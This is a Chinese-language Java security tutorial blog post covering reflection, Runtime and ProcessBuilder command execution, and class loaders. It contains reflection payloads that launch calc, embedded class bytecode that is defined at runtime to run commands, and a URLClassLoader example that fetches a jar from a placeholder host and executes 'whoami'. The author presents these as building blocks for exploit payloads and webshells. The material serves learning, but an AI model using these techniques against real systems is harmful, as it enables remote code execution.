Skip to content

JavaSec 入门-01

约 5937 字大约 20 分钟

Java

2024-12-01

前言

考完 Java 之后感觉非常爽啊,离散数电大物概率论是什么答辩,能不能只考我平时每天学的东西

正式开写文章记录下 JavaSec 的学习之路,之前写的那反序列化太烂了,毫无逻辑,删了重写,前几篇都是对于《Java安全漫谈》的消化吸收,以及 JavaSec 项目的部分搬运加个人理解。

Java 中的命令执行

最常见且简单的形式,通过 java.lang.Runtime 类去调用

import java.io.IOException;

public class Main {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

反射

Java 安全可以从反序列化漏洞开始说起,反序列化漏洞⼜可以从反射开始说起。

概念

反射是⼤多数语⾔⾥都必不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的⽅法可以调⽤,总之通过“反射”,我们可以将Java这种静态语⾔附加上动态特性。

相较于通过 new 一个类去实例化对象的正射,Java 反射机制是在运行状态时,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取的信息以及动态调用对象的方法的功能就称为java语言的反射机制。 示例

Person类

package test;

import java.io.*;

public class Person implements Serializable {

    private String name;

    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
    @Override
    public String toString() {
        return "Person{name='" + name + "', age=" + age + "}";//重写tostring方便后面print数据
    }
}

反射类

package test;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class Main {

    public static void main(String[] args) throws Exception {
        //正射
        Person s1 = new Person("yanami",12);
        //反射
        System.out.println(s1);
        Class  c1 = s1.getClass();
        Constructor constructor = c1.getConstructor(String.class, int.class);//通过反射获取构造函数,再获取实例化对象
        Person s2=(Person)constructor.newInstance("aniale",16);
        System.out.println(s2);
        Field age = c1.getDeclaredField("age"); //获取属性并且修改
        age.setAccessible(true); //让private变量可被修改,否则会报错
        age.set(s2,18);
        System.out.println(s2);
    }
}

在正常情况下,除了系统类,如果我们想拿到一个类,需要先 import 才能使用。而使用 forName 就不需要,这样对于我们的攻击者来说就十分有利,我们可以加载任意类。

如何使用

获取一个类

1.通过一个class的静态变量class获取:

Class cls = String.class;

2.通过该实例变量提供的getClass()方法获取:

String s = "yanami";
Class cls = s.getClass();

3.知道一个class的完整类名,可以通过静态方法Class.forName()获取

Class cls = Class.forName("java.lang.String");

关于 forName() 有两个函数重载:

  • Class<?> forName(String name)

  • Class<?> forName(String name, boolean initialize, ClassLoader loader)

第⼀个就是我们最常⻅的获取 class 的⽅式,其实可以理解为第⼆种方式的⼀个封装:

Class.forName(className)
// 等于
Class.forName(className, true, currentLoader)

访问字段

Field field = cls.getFields("name");Field field = cls.getDeclaredField("age");

获取方法

获取的时候因为可能有同名的函数,这时就需要去通过后面传入的参数类型去区分,就比如 main 方法的 String[].class

  • Method getMethod(name, Class...):获取某个publicMethod(包括父类)
  • Method getDeclaredMethod(name, Class...):获取当前类的某个Method(不包括父类)
  • Method[] getMethods():获取所有publicMethod(包括父类)
  • Method[] getDeclaredMethods():获取当前类的所有Method(不包括父类)

获取构造方法

通过Class实例获取Constructor的方法如下:

  • getConstructor(Class...):获取某个publicConstructor
  • getDeclaredConstructor(Class...):获取某个Constructor
  • getConstructors():获取所有publicConstructor
  • getDeclaredConstructors():获取所有Constructor

反射执行命令

精简地缩写在一起是这样,不易理解

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");

其实就是

Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime, "calc.exe");

如果当一个类没有无参构造方法,也没有类似单例模式里的静态方法,就要通过获取构造器去实现反射了

和 getMethod 类似, getConstructor 接收的参数是构造函数列表类型,因为构造函数也支持重载, 所以必须用参数列表类型才能唯一确定一个构造函数。 获取到构造函数后,我们使用 newInstance 来执行。 比如,我们常用的另一种执行命令的方式ProcessBuilder,我们使用反射来获取其构造函数,然后调用 start() 来执行命令:

public class ReConstructor {
    public static void main(String[] args) throws NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        Method startmethod = clazz.getMethod("start");
        Constructor ConstructorPB = clazz.getConstructor(List.class);
        Object C =  ConstructorPB.newInstance(Arrays.asList("calc.exe"));
        startmethod.invoke(C);
    }
}

简单地写是这样

Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));

ProcessBuilder 有两个构造函数: public ProcessBuilder(List command) public ProcessBuilder(String... command) 上面用到了第一个形式的构造函数,所以在 getConstructor 的时候传入的是 List.class 。

那么,如果我们要使用 public ProcessBuilder(String... command) 这个构造函数,需要怎样用反射执行呢? 这又涉及到Java里的可变长参数(varargs)了。正如其他语言一样,Java 也支持可变长参数,就是当你 定义函数的时候不确定参数数量的时候,可以使用 ... 这样的语法来表示“这个函数的参数个数是可变的”。

对于可变长参数,Java 其实在编译的时候会编译成一个数组,也就是说,如下这两种写法在底层是等价的(也就不能重载):

public void hello(String[] names) {}
public void hello(String...names) {}

那么对于反射来说,如果要获取的目标函数里包含可变长参数,其实我们认为它是数组就行了。 所以,我们将字符串数组的类 String[].class 传给 getConstructor ,获取 ProcessBuilder 的第二种构造函数:

Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class)

在调用 newInstance 的时候,因为这个函数本身接收的是一个可变长参数,我们传给 ProcessBuilder 的也是一个可变长参数,二者叠加为一个二维数组,所以整个 Payload 如下:

Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();

如果一个方法或构造方法是私有方法,这就涉及到 getDeclared 系列的反射了,与普通的 getMethodgetConstructor区别是:getMethod 系列方法获取的是当前类中所有公共方法,包括从父类继承的方法 getDeclaredMethod 系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了。 getDeclaredMethod 的具体用法和 getMethod 类似, getDeclaredConstructor 的具体用法和 getConstructor 类似,我就不再赘述。 举个例子,前文我们说过 Runtime 这个类的构造函数是私有的,我们需要用 Runtime.getRuntime() 来 获取对象。其实现在我们也可以直接用 getDeclaredConstructor 来获取这个私有的构造方法来实例化对象,进而执行命令:

Class clazz = Class.forName("java.lang.Runtime"); 
Constructor m = clazz.getDeclaredConstructor(); 
m.setAccessible(true); 
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");

可见,这里使用了一个方法 setAccessible ,这个是必须的。我们在获取到一个私有方法后,必须用 setAccessible 修改它的作用域,否则仍然不能调用。

类加载机制

Java 程序在运行前需要先编译成 .class 文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader会调用 JVM 的 native 方法(defineClass0/1/2)来定义一个java.lang.Class实例。

JVM 启动的时候,并不会一次性加载所有的 class 文件, 而是根据需要去动态加载.

img

类加载器简介

Java语言系统自带有三个类加载器, 分别为如下:

img

启动类加载器(Bootstrap ClassLoader):

这个类加载器负责将 \lib 目录下的类库加载到虚拟机内存中,用来加载java的核心库,此类加载器并不继承于 java.lang.ClassLoader ,不能被 java 程序直接调用,代码是使用 C++ 编写的,是虚拟机自身的一部分.

扩展类加载器(Extendsion ClassLoader):

这个类加载器负责加载 \lib\ext 目录下的类库,用来加载 java 的扩展库,开发者可以直接使用这个类加载器.

应用程序类加载器(Application ClassLoader):

这个类加载器负责加载用户类路径(CLASSPATH)下的类库,一般我们编写的 java 类都是由这个类加载器加载,这个类加载器是 CLassLoader 中的 getSystemClassLoader() 方法的返回值,所以也称为系统类加载器.一般情况下这就是系统默认的类加载器.

除此之外,我们还可以加入自己定义的类加载器,以满足特殊的需求,需要继承 java.lang.ClassLoader 类.

ClassLoader

所有的 Java 类都必须经过 JVM 加载后才能运行,ClassLoader的主要作用就是Java类文件的加载。在 JVM 类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)Extension ClassLoader(扩展类加载器)App ClassLoader(系统类加载器)AppClassLoader是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader加载类,ClassLoader.getSystemClassLoader()返回的系统类加载器也是AppClassLoader

某些时候我们获取一个类的类加载器时候可能会返回一个null值,如:java.io.File.class.getClassLoader()将返回一个null对象,因为java.io.File类在JVM初始化的时候会被Bootstrap ClassLoader(引导类加载器)加载(该类加载器实现于JVM层,采用C++编写),我们在尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null

类加载器的核心方法

  1. loadClass(加载指定的Java类)
  2. findClass(查找指定的Java类)
  3. findLoadedClass(查找JVM已经加载过的类)
  4. defineClass(定义一个Java类)
  5. resolveClass(链接指定的Java类)

Java 类动态加载方式

Java 类加载方式分为显式和隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。

常用的类动态加载方式:

// 反射加载TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");

// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");

Class.forName("类名")默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法。

例如下面的代码

public class TrainPrint {
	{
 		System.out.printf("Empty block initial %s\n", this.getClass());
 	}
 	static {
 		System.out.printf("Static initial %s\n", TrainPrint.class);
 	}
 	public TrainPrint() {
 		System.out.printf("Initial %s\n", this.getClass());
 	}
}

⾸先调⽤的是 static {} ,其次是 {} ,最后是构造函数。 其中, static {} 就是在“类初始化”的时候调⽤的,⽽ {} 中的代码会放在构造函数的 super() 后⾯, 但在当前构造函数内容的前⾯。 所以说, forName 中的 initialize=true 其实就是告诉Java虚拟机是否执⾏”类初始化“。

ClassLoader加载流程

双亲委派

双亲委派模型的工作过程为:如果一个类加载器收到了类加载的请求,它首先不会自己去尝试加载这个类,而是把这个请求委派给父类加载器去完成,每一个层次的加载器都是如此,因此所有的类加载请求都会传给顶层的启动类加载器,只有当父加载器反馈自己无法完成该加载请求(该加载器的搜索范围中没有找到对应的类)时,子加载器才会尝试自己去加载。

也就是一个类加载器查找 class 和 resource 时,是通过委托模式进行的,它首先判断这个 class 是不是已经加载成功,如果没有的话它并不是自己进行查找,而是先通过父加载器,然后递归下去,直到 Bootstrap ClassLoader,如果 Bootstrap classloader 找到了,直接返回,如果没有找到,则一级一级返回,最后到达自身去查找这些对象。

使用双亲委派模型的好处在于Java类随着它的类加载器一起具备了一种带有优先级的层次关系。例如类 java.lang.Object,它存在在 rt.jar 中,无论哪一个类加载器要加载这个类,最终都是委派给处于模型最顶端的 Bootstrap ClassLoader 进行加载,因此 Object 类在程序的各种类加载器环境中都是同一个类。相反,如果没有双亲委派模型而是由各个类加载器自行加载的话,如果用户编写了一个 java.lang.Object 的同名类并放在 ClassPath 中,那系统中将会出现多个不同的 Object 类,程序将混乱。因此,如果开发者尝试编写一个与 rt.jar 类库中重名的Java类,可以正常编译,但是永远无法被加载运行。

双亲委派模型的系统实现

在 java.lang.ClassLoader 的 loadClass() 方法中,先检查是否已经被加载过,若没有加载则调用父类加载器的 loadClass() 方法,若父加载器为空则默认使用启动类加载器作为父加载器。如果父加载失败,则抛出 ClassNotFoundException 异常后,再调用自己的 findClass() 方法进行加载。

protected synchronized Class<?> loadClass(String name,boolean resolve) throws ClassNotFoundException{
    //check the class has been loaded or not
    Class c = findLoadedClass(name);
    if(c == null){
        try{
            if(parent != null){
                c = parent.loadClass(name,false);
            }else{
                c = findBootstrapClassOrNull(name);
            }
        }catch(ClassNotFoundException e){
            //if throws the exception ,the father can not complete the load
        }
        if(c == null){
            c = findClass(name);
        }
    }
    
    if(resolve){
        resolveClass(c);
    }
    return c;
}

以一个 Java 的 HelloWorld 来学习ClassLoader

ClassLoader加载TestHelloWorldloadClass重要流程如下:

  1. ClassLoader会调用public Class<?> loadClass(String name)方法加载TestHelloWorld类。

  2. 调用findLoadedClass方法检查TestHelloWorld类是否已经初始化,如果 JVM 已初始化过该类则直接返回类对象。

  3. 如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestHelloWorld类,否则使用JVM的Bootstrap ClassLoader加载。

  4. 如果上一步无法加载TestHelloWorld类,那么调用自身的findClass方法尝试加载TestHelloWorld类。

  5. 如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的TestHelloWorld类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。

  6. 如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。

  7. 返回一个被 JVM 加载后的java.lang.Class类对象。

自定义ClassLoader

java.lang.ClassLoader是所有的类加载器的父类,java.lang.ClassLoader有非常多的子类加载器,比如我们用于加载 jar 包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录 class 文件甚至是远程资源文件。

加入我们现在完全没有这个类,那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入RunCalc类的字节码的方式来向 JVM 中定义一个RunCalc类,最后通过反射机制就可以调用RunCalc类的main方法了。

输出字节码:(也可以采用从.class 文件中直接读取,注意编译与输出的 jdk 版本)

package test;

import java.io.FileInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class ByteCodeFormatter {
    public static byte[] getClassBytes(String filePath) throws IOException {
        try (FileInputStream inputStream = new FileInputStream(filePath);
             ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream()) {

            byte[] buffer = new byte[1024];
            int length;
            while ((length = inputStream.read(buffer)) != -1) {
                byteArrayOutputStream.write(buffer, 0, length);
            }
            return byteArrayOutputStream.toByteArray();
        }
    }

    public static void printAsByteArray(byte[] classBytes) {
        StringBuilder sb = new StringBuilder();
        sb.append("private static byte[] testClassBytes = new byte[]{\n    ");
        for (int i = 0; i < classBytes.length; i++) {
            sb.append(classBytes[i]);
            if (i < classBytes.length - 1) {
                sb.append(", ");
            }
            if ((i + 1) % 10 == 0) { // 每行输出10个字节
                sb.append("\n    ");
            }
        }
        sb.append("\n};");
        System.out.println(sb.toString());
    }

    public static void main(String[] args) {
        try {
            byte[] classBytes = getClassBytes("RunCalc.class");
            printAsByteArray(classBytes);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

注意这里类名要加包名

package test;

import java.lang.reflect.Method;

public class TestClassLoader extends ClassLoader {

    // TestHelloWorld类名
    private static String testClassName = "test.RunCalc";

    // TestHelloWorld类字节码
    private static byte[] testClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 58, 0, 35,
            10, 0, 2, 0, 3, 7, 0, 4, 12, 0,
            5, 0, 6, 1, 0, 16, 106, 97, 118, 97,
            47, 108, 97, 110, 103, 47, 79, 98, 106, 101,
            99, 116, 1, 0, 6, 60, 105, 110, 105, 116,
            62, 1, 0, 3, 40, 41, 86, 10, 0, 8,
            0, 9, 7, 0, 10, 12, 0, 11, 0, 12,
            1, 0, 17, 106, 97, 118, 97, 47, 108, 97,
            110, 103, 47, 82, 117, 110, 116, 105, 109, 101,
            1, 0, 10, 103, 101, 116, 82, 117, 110, 116,
            105, 109, 101, 1, 0, 21, 40, 41, 76, 106,
            97, 118, 97, 47, 108, 97, 110, 103, 47, 82,
            117, 110, 116, 105, 109, 101, 59, 8, 0, 14,
            1, 0, 4, 99, 97, 108, 99, 10, 0, 8,
            0, 16, 12, 0, 17, 0, 18, 1, 0, 4,
            101, 120, 101, 99, 1, 0, 39, 40, 76, 106,
            97, 118, 97, 47, 108, 97, 110, 103, 47, 83,
            116, 114, 105, 110, 103, 59, 41, 76, 106, 97,
            118, 97, 47, 108, 97, 110, 103, 47, 80, 114,
            111, 99, 101, 115, 115, 59, 7, 0, 20, 1,
            0, 12, 116, 101, 115, 116, 47, 82, 117, 110,
            67, 97, 108, 99, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117,
            109, 98, 101, 114, 84, 97, 98, 108, 101, 1,
            0, 18, 76, 111, 99, 97, 108, 86, 97, 114,
            105, 97, 98, 108, 101, 84, 97, 98, 108, 101,
            1, 0, 4, 116, 104, 105, 115, 1, 0, 14,
            76, 116, 101, 115, 116, 47, 82, 117, 110, 67,
            97, 108, 99, 59, 1, 0, 4, 109, 97, 105,
            110, 1, 0, 22, 40, 91, 76, 106, 97, 118,
            97, 47, 108, 97, 110, 103, 47, 83, 116, 114,
            105, 110, 103, 59, 41, 86, 1, 0, 4, 97,
            114, 103, 115, 1, 0, 19, 91, 76, 106, 97,
            118, 97, 47, 108, 97, 110, 103, 47, 83, 116,
            114, 105, 110, 103, 59, 1, 0, 10, 69, 120,
            99, 101, 112, 116, 105, 111, 110, 115, 7, 0,
            32, 1, 0, 19, 106, 97, 118, 97, 47, 105,
            111, 47, 73, 79, 69, 120, 99, 101, 112, 116,
            105, 111, 110, 1, 0, 10, 83, 111, 117, 114,
            99, 101, 70, 105, 108, 101, 1, 0, 12, 82,
            117, 110, 67, 97, 108, 99, 46, 106, 97, 118,
            97, 0, 33, 0, 19, 0, 2, 0, 0, 0,
            0, 0, 2, 0, 1, 0, 5, 0, 6, 0,
            1, 0, 21, 0, 0, 0, 47, 0, 1, 0,
            1, 0, 0, 0, 5, 42, -73, 0, 1, -79,
            0, 0, 0, 2, 0, 22, 0, 0, 0, 6,
            0, 1, 0, 0, 0, 5, 0, 23, 0, 0,
            0, 12, 0, 1, 0, 0, 0, 5, 0, 24,
            0, 25, 0, 0, 0, 9, 0, 26, 0, 27,
            0, 2, 0, 21, 0, 0, 0, 56, 0, 2,
            0, 1, 0, 0, 0, 10, -72, 0, 7, 18,
            13, -74, 0, 15, 87, -79, 0, 0, 0, 2,
            0, 22, 0, 0, 0, 10, 0, 2, 0, 0,
            0, 7, 0, 9, 0, 8, 0, 23, 0, 0,
            0, 12, 0, 1, 0, 0, 0, 10, 0, 28,
            0, 29, 0, 0, 0, 30, 0, 0, 0, 4,
            0, 1, 0, 31, 0, 1, 0, 33, 0, 0,
            0, 2, 0, 34
    };

    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        if (name.equals(testClassName)) {
            return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
        }
        return super.findClass(name);
    }

    public static void main(String[] args) {
        // 创建自定义的类加载器
        TestClassLoader loader = new TestClassLoader();
        try {
            // 加载RunCalc类
            Class<?> clazz = loader.loadClass(testClassName);

            // 反射调用类的main方法
            Method mainMethod = clazz.getMethod("main", String[].class);

            // 传入空参数数组,调用main方法执行exec
            mainMethod.invoke(null, (Object) new String[]{});
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

URLClassLoader

URLClassLoader继承了ClassLoaderURLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。

package test;

import java.io.IOException;
public class CMD {
    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }
}
jar cvf CMD.jar test/CMD.class

注意这里类名要加包名

package test;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader {

    public static void main(String[] args) {
        try {
            // 定义远程加载的jar路径
            URL url = new URL("http://xxx/CMD.jar");

            // 创建URLClassLoader对象,并加载远程jar包
            URLClassLoader ucl = new URLClassLoader(new URL[]{url});

            // 定义需要执行的系统命令
            String cmd = "whoami";

            // 通过URLClassLoader加载远程jar包中的CMD类
            Class cmdClass = ucl.loadClass("test.CMD");

            // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

            // 获取命令执行结果的输入流
            InputStream           in   = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[]                b    = new byte[1024];
            int                   a    = -1;

            // 读取命令执行结果
            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }

            // 输出命令执行结果
            System.out.println(baos.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

类加载隔离

创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader 是有隔离机制的,不同的 ClassLoader 可以加载相同的 Class(两者必须是非继承关系),同级 ClassLoader 跨类加载器调用方法时必须使用反射。

跨类加载器加载

package test;

import java.lang.reflect.Method;

public class TestCrossClassLoader {

    public static byte[] testClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 58, 0, 35,
            10, 0, 2, 0, 3, 7, 0, 4, 12, 0,
            5, 0, 6, 1, 0, 16, 106, 97, 118, 97,
            47, 108, 97, 110, 103, 47, 79, 98, 106, 101,
            99, 116, 1, 0, 6, 60, 105, 110, 105, 116,
            62, 1, 0, 3, 40, 41, 86, 10, 0, 8,
            0, 9, 7, 0, 10, 12, 0, 11, 0, 12,
            1, 0, 17, 106, 97, 118, 97, 47, 108, 97,
            110, 103, 47, 82, 117, 110, 116, 105, 109, 101,
            1, 0, 10, 103, 101, 116, 82, 117, 110, 116,
            105, 109, 101, 1, 0, 21, 40, 41, 76, 106,
            97, 118, 97, 47, 108, 97, 110, 103, 47, 82,
            117, 110, 116, 105, 109, 101, 59, 8, 0, 14,
            1, 0, 4, 99, 97, 108, 99, 10, 0, 8,
            0, 16, 12, 0, 17, 0, 18, 1, 0, 4,
            101, 120, 101, 99, 1, 0, 39, 40, 76, 106,
            97, 118, 97, 47, 108, 97, 110, 103, 47, 83,
            116, 114, 105, 110, 103, 59, 41, 76, 106, 97,
            118, 97, 47, 108, 97, 110, 103, 47, 80, 114,
            111, 99, 101, 115, 115, 59, 7, 0, 20, 1,
            0, 12, 116, 101, 115, 116, 47, 82, 117, 110,
            67, 97, 108, 99, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117,
            109, 98, 101, 114, 84, 97, 98, 108, 101, 1,
            0, 18, 76, 111, 99, 97, 108, 86, 97, 114,
            105, 97, 98, 108, 101, 84, 97, 98, 108, 101,
            1, 0, 4, 116, 104, 105, 115, 1, 0, 14,
            76, 116, 101, 115, 116, 47, 82, 117, 110, 67,
            97, 108, 99, 59, 1, 0, 4, 109, 97, 105,
            110, 1, 0, 22, 40, 91, 76, 106, 97, 118,
            97, 47, 108, 97, 110, 103, 47, 83, 116, 114,
            105, 110, 103, 59, 41, 86, 1, 0, 4, 97,
            114, 103, 115, 1, 0, 19, 91, 76, 106, 97,
            118, 97, 47, 108, 97, 110, 103, 47, 83, 116,
            114, 105, 110, 103, 59, 1, 0, 10, 69, 120,
            99, 101, 112, 116, 105, 111, 110, 115, 7, 0,
            32, 1, 0, 19, 106, 97, 118, 97, 47, 105,
            111, 47, 73, 79, 69, 120, 99, 101, 112, 116,
            105, 111, 110, 1, 0, 10, 83, 111, 117, 114,
            99, 101, 70, 105, 108, 101, 1, 0, 12, 82,
            117, 110, 67, 97, 108, 99, 46, 106, 97, 118,
            97, 0, 33, 0, 19, 0, 2, 0, 0, 0,
            0, 0, 2, 0, 1, 0, 5, 0, 6, 0,
            1, 0, 21, 0, 0, 0, 47, 0, 1, 0,
            1, 0, 0, 0, 5, 42, -73, 0, 1, -79,
            0, 0, 0, 2, 0, 22, 0, 0, 0, 6,
            0, 1, 0, 0, 0, 5, 0, 23, 0, 0,
            0, 12, 0, 1, 0, 0, 0, 5, 0, 24,
            0, 25, 0, 0, 0, 9, 0, 26, 0, 27,
            0, 2, 0, 21, 0, 0, 0, 56, 0, 2,
            0, 1, 0, 0, 0, 10, -72, 0, 7, 18,
            13, -74, 0, 15, 87, -79, 0, 0, 0, 2,
            0, 22, 0, 0, 0, 10, 0, 2, 0, 0,
            0, 7, 0, 9, 0, 8, 0, 23, 0, 0,
            0, 12, 0, 1, 0, 0, 0, 10, 0, 28,
            0, 29, 0, 0, 0, 30, 0, 0, 0, 4,
            0, 1, 0, 31, 0, 1, 0, 33, 0, 0,
            0, 2, 0, 34
    };

    public static class ClassLoaderA extends ClassLoader {

        public ClassLoaderA(ClassLoader parent) {
            super(parent);
        }

        {
            // 加载类字节码
            defineClass("test.RunCalc", testClassBytes, 0, testClassBytes.length);
        }

    }

    public static class ClassLoaderB extends ClassLoader {

        public ClassLoaderB(ClassLoader parent) {
            super(parent);
        }

        {
            // 加载类字节码
            defineClass("test.RunCalc", testClassBytes, 0, testClassBytes.length);
        }

    }

    public static void main(String[] args) throws Exception {
        // 父类加载器
        ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();

        // A类加载器
        ClassLoaderA aClassLoader = new ClassLoaderA(parentClassLoader);

        // B类加载器
        ClassLoaderB bClassLoader = new ClassLoaderB(parentClassLoader);

        // 使用A/B类加载器加载同一个类
        Class<?> aClass  = Class.forName("test.RunCalc", true, aClassLoader);
        Class<?> aaClass = Class.forName("test.RunCalc", true, aClassLoader);
        Class<?> bClass  = Class.forName("test.RunCalc", true, bClassLoader);

        // 比较A类加载和B类加载器加载的类是否相等
        System.out.println("aClass == aaClass:" + (aClass == aaClass));
        System.out.println("aClass == bClass:" + (aClass == bClass));

        System.out.println("\n" + aClass.getName() + "方法清单:");

        // 获取该类所有方法
        Method[] methods = aClass.getDeclaredMethods();

        for (Method method : methods) {
            System.out.println(method);
        }

        Method mainMethod = aClass.getMethod("main", String[].class);

        // 调用hello方法
        mainMethod.invoke(null, (Object) new String[]{});

        System.out.println("\n反射调用:" + "test.RunCalc" + "" + mainMethod.getName());
    }

}

返回结果并调用计算器

aClass == aaClass:true
aClass == bClass:false

test.RunCalc方法清单:
public static void test.RunCalc.main(java.lang.String[]) throws java.io.IOException

反射调用:test.RunCalc类main方法

参考文章

P神的 Java 安全漫谈

https://www.javasec.org/

https://github.com/Y4tacker/JavaSec/blob/main/